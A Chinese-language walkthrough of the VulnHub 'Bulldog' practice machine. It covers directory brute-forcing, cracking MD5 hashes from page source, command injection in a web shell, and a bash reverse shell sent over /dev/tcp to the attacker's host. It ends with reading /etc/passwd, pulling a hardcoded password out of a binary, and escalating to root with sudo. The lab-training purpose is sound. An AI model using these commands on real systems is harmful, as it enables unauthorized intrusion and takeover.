VulnHub靶机学习——BullDog实战记录
一,前言
作为一名渗透测试行业的菜鸟,一直没有找到好的靶场来进行练习,最近团队里的大佬推荐的Vnluhub(www.vulnhub.com),正好可以提供一个很好的渗透测试环境。于是从上面找了一个安装包比较小的,毕竟安装时间短(其实是毕竟难度不高)。好了,闲话少说,现在让我们开始吧。
二,运行说明
*靶机难度:初学者/中级
*目标:提权到root权限并查看flag
*攻击机:kali linux,IP地址172.16.111.14
*靶机:bulldog,IP地址172.16.111.90
(下载地址:https://download.vulnhub.com/bulldog/bulldog.ova)
*运行环境:kali运行在VMware中,靶机在Virtualbox中
在这里就不介绍虚拟机的安装方式了,但是要记得把攻击机和靶机的网络连接方式都改为桥接模式
准备工作做好了,接下来就开始吧
三,渗透过程
1,分别打开kali和bulldog
bulldog在开机时界面上已经有一个IP地址
这下方便了,直接在kali自带的的火狐浏览器中访问此地址看看有没有什么好的信息 点开中间的Public Notice链接
额。。。这两个页面好像都不能给我们提供什么有价值的信息
接下来查看一下网页源代码
依然没有什么好的提示。。。。
接下来爆破目录,看看有没有什么新发现
2,爆破目录
在kali中打开命令终端,输入
Dirb http://172.16.111.90
根据扫描结果,打开链接http://172.16.111.90/admin 这是一个登录界面,可是我们没有用户名和密码。难道要用burp爆破一下?等会再说,而且还有dirb里扫描出的一个链接没打开,现在先看看当前页面的源代码
没啥有用的,看看扫描出的另一链接 172.16.111.90/dev 怎么又全是英文介绍,不知道我英语学的不好的么。。。
算了,这么长的页面也懒得看,找彦宏哥的百度翻译一下
这算是发现了些有价值的信息,新的系统是用Django语言编写并且启用了SSH,完全删除了PHP。
页面中间还一个Web-Shell链接,点进去看下
一般来说web shell是能为我们所用的,但是现在提示与服务器进行身份验证才能使用web shell。那好吧,看看源代码
哎,发现有奇怪的东西混了进来。这不是MD5加密的信息么,去解密一下
找一个MD5解密网站,然后复制粘贴让我无语的MD5
。。。确实是让我无语的MD5,解密了四五条都是这样。但是在最后两个的时候,终于有了收获 bulldog和bulldoglover会不会就是用户名和密码呢,现在去刚开始的登录页面
分别用bulldog和bulldoglover轮流当做用户名和密码试了试,根本登不上去。不过话说这火狐浏览器确实是敬业,登录失败了还问我要不要保存登录信息。
这时候想起来在查看刚才页面的源代码时,MD5值前面好像有对应的用户名,用他们登陆试试
经过尝试之后果然成功了,不过用nick登进去好像没有什么可以为我们所用的功能
尝试用sarah登录一下,结果页面跟nick一样
现在我们找到了两组用户名和密码,记下来可能等会要用
nick---bulldog sarah---bulldoglover
这时候再打开172.168.111.90/dev页面,发现刚才的web shell能用了
不过好像只能用系统给出的几个命令。先试一下有没有命令注入
3,命令注入、shell反弹
在输入框里输入Ifconfig &whoami
根据反馈结果判断存在命令注入,那接下来就好办了。
在攻击机kali中打开命令终端开始监听,输入nc -lvnp 6666
尝试bash反弹,在靶机打开的网页命令框中输入
bash -i >& /dev/tcp/172.16.111.14 /6666 0>&1
结果。。。。。。。
emmm...好尴尬
换一种方式
尝试输入 ls &bash -i >& /dev/tcp/172.16.111.14 /6666 0>&1
服务器还是报错500。多次尝试之后,使用echo命令反弹shell成功
echo "bash -i >& /dev/tcp/172.16.111.14/6666 0>&1" | bash
接下来就是提权了
四,root提权、查看flag
首先查看有哪些系统用户,cat /etc/passwd。发现了一个重点对象:bulldogadmin
然后,查找他的文件 find / -user bulldogadmin 2>/dev/null
发现有hiddenadmindirectory隐藏目录,用less命令打开里面包含的文件看看
好吧,又是英文,复制下翻译去 同样的方式打开另一个文件查看一下
发现customPermissionApp里面包含的都是字符,输入命令
strings/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
查看此文件
虽然我英语不好,但是依然很轻松地看出文件中间有一个被 H 打断的PASSWORD单词。于是把前后字段去掉H,得到一句SUPERultimatePASSWORDyouCANTget 把它保存着,这可能是我们会要用到的密码
Su命令执行一下
su: must be run from a terminal 需要一个终端
好吧,触及到我的知识盲区了
上网查了一下资料,可以用python调用本地的shell,命令:
python -c 'import pty;pty.spawn("/bin/bash")'
然后执行命令 sudo su - ,输入刚才记下来的的密码试一下,结果成功获得root权限,拿到flag
输入ls命令,发现里面只有一个文本文档
输入 cat congrats.txt 打开看下
五,经验总结
首先要爆破出admin和dev页面,利用解密MD5得到的密码登录进系统。然后绕过bulldog的系统限制,反弹shell到kali。当然最重要的是root提权,这方面我做的不够好,有些命令不懂,还要去查的网上的资料。Shell反弹和对于linux系统命令掌握的还是太少,以后要多学习,多记。总之,在渗透测试上还有很长的路要走。
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号